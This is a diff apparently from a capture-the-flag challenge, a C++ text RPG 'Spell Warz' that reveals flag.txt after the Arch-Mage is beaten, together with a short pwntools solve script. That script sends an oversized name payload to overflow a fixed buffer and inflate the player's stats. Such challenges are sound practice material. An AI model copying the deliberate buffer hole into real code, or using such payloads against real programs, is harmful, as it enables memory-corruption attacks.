| @ -0,0 +1,54 @@ | |||||
| #ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||||
| #define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||||
| #include <iostream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include <string> | |||||
| #include <vector> | |||||
| #include <cstring> | |||||
| #include "Character.hpp" | |||||
| #include "Spell.hpp" | |||||
| class UserInterface | |||||
| { | |||||
| protected: | |||||
| static const int INTERVAL; // in ms | |||||
| static const int MINI_INTERVAL; // in ms | |||||
| static const int MAX_DAY; | |||||
| static const int MAX_MONTH; | |||||
| static const int MAX_YEAR; | |||||
| static std::vector<std::string> dayName; | |||||
| static std::vector<std::string> monthName; | |||||
| static int day; | |||||
| static int month; | |||||
| static int year; | |||||
| static bool gameOver; | |||||
| public: | |||||
| static void print(std::string); | |||||
| static void print(const char *); | |||||
| static void println(std::string); | |||||
| static void println(const char *); | |||||
| static void printByChar(std::string); | |||||
| static void printByChar(const char *); | |||||
| static void welcomeMessage(); | |||||
| static void epilogue(); | |||||
| static void menu(); | |||||
| static void nextDay(); | |||||
| static void characterInfo(Character &); | |||||
| static void enemiesInfo(std::vector<Character> &); | |||||
| static std::string dateString(); | |||||
| static int getNumber(std::string, int, int); | |||||
| static const char *chooseName(char *); | |||||
| static bool isGameOver(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,147 @@ | |||||
| #include <iostream> | |||||
| #include <fstream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include <random> | |||||
| #include <fstream> | |||||
| #include <unistd.h> | |||||
| #include "lib/Character.hpp" | |||||
| #include "lib/Spell.hpp" | |||||
| #include "lib/UserInterface.hpp" | |||||
| #include "lib/Battle.hpp" | |||||
| std::string loadFlag() | |||||
| { | |||||
| std::string flagString; | |||||
| std::ifstream flagFile("flag.txt"); | |||||
| flagFile >> flagString; | |||||
| flagFile.close(); | |||||
| return flagString; | |||||
| } | |||||
| int main() | |||||
| { | |||||
| srand(time(0)); | |||||
| alarm(600); | |||||
| std::string flag = loadFlag(); | |||||
| char playerName[64] = {0}; | |||||
| UserInterface::chooseName(playerName); | |||||
| Character player = Character(playerName, 1); | |||||
| Character archMage = Character("Arch-Mage", 10000); | |||||
| std::vector<Character> enemies = { | |||||
| Character("Uraneus", 1), | |||||
| Character("Ekey", 2), | |||||
| Character("Wekius", 3), | |||||
| Character("Dhemaex", 4), | |||||
| Character("Uravras", 5), | |||||
| }; | |||||
| UserInterface::welcomeMessage(); | |||||
| UserInterface::epilogue(); | |||||
| while (player.isAlive() && !UserInterface::isGameOver()) | |||||
| { | |||||
| int choiceInt = -1; | |||||
| char choiceChar = -1; | |||||
| UserInterface::menu(); | |||||
| choiceInt = UserInterface::getNumber( | |||||
| "What are you gonna do today?\n>", | |||||
| 0, 6); | |||||
| switch (choiceInt) | |||||
| { | |||||
| case 0: | |||||
| UserInterface::print("You commit sudoku...\n"); | |||||
| UserInterface::print("Was it supposed to be seppuku?\n"); | |||||
| UserInterface::print("Nevermind, you killed yourself.\n"); | |||||
| player.kill(); | |||||
| break; | |||||
| case 1: | |||||
| UserInterface::print("You spend the whole day sleeping...\n"); | |||||
| UserInterface::print("HP and MP restored.\n"); | |||||
| player.rest(); | |||||
| break; | |||||
| case 2: | |||||
| UserInterface::print("You practice your magic in the yard...\n"); | |||||
| UserInterface::print("You gained some experience.\n"); | |||||
| printf("%ld\n", player.getLevel()); | |||||
| fflush(stdout); | |||||
| player.increaseExperience((rand() % player.getLevel()) + 1); | |||||
| break; | |||||
| case 3: | |||||
| UserInterface::print("List of your classmates:\n"); | |||||
| UserInterface::enemiesInfo(enemies); | |||||
| choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||||
| UserInterface::print("You are going to spar with:\n"); | |||||
| UserInterface::characterInfo(enemies.at(choiceInt)); | |||||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||||
| std::cin >> choiceChar; | |||||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||||
| { | |||||
| Character enemy = Character(enemies.at(choiceInt)); | |||||
| Battle battle = Battle(player, enemy); | |||||
| battle.start(); | |||||
| if (battle.getWinner() == 1) | |||||
| { | |||||
| UserInterface::print("You win, you get more experience...\n"); | |||||
| player.increaseExperience(enemies.at(choiceInt).getLevel()); | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("You lose, but you still get some experience...\n"); | |||||
| player.revive(); | |||||
| player.increaseExperience(enemies.at(choiceInt).getLevel() / 2); | |||||
| } | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
| player.rest(); | |||||
| } | |||||
| break; | |||||
| case 4: | |||||
| UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||||
| std::cin >> choiceChar; | |||||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||||
| { | |||||
| Battle battle = Battle(player, archMage); | |||||
| battle.start(); | |||||
| if (battle.getWinner() == 1) | |||||
| { | |||||
| UserInterface::print("You win, you get more experience...\n"); | |||||
| player.increaseExperience(enemies.at(choiceInt).getLevel()); | |||||
| UserInterface::print("You win against the Arch-Mage!\n"); | |||||
| UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||||
| UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||||
| UserInterface::print("Here is the content:\n"); | |||||
| UserInterface::print(flag + "\n"); | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("You lose...\n"); | |||||
| UserInterface::print("Sadly his spell was to powerful,\n"); | |||||
| UserInterface::print("You got killed by the arch-mage...\n"); | |||||
| } | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
| player.rest(); | |||||
| } | |||||
| break; | |||||
| case 5: | |||||
| UserInterface::print("You found some info about the arch-mage:\n"); | |||||
| UserInterface::characterInfo(archMage); | |||||
| break; | |||||
| case 6: | |||||
| UserInterface::print("You meditate and got some insight to your ability:\n"); | |||||
| UserInterface::characterInfo(player); | |||||
| break; | |||||
| } | |||||
| UserInterface::nextDay(); | |||||
| } | |||||
| } | |||||
| @ -0,0 +1,18 @@ | |||||
| from pwn import * | |||||
| if __name__ == "__main__": | |||||
| p = process("./main") | |||||
| print p.recvuntil(">") | |||||
| p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("2") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for i in xrange(99): | |||||
| print p.recvuntil(">") | |||||
| p.sendline("9") | |||||
| p.interactive() | |||||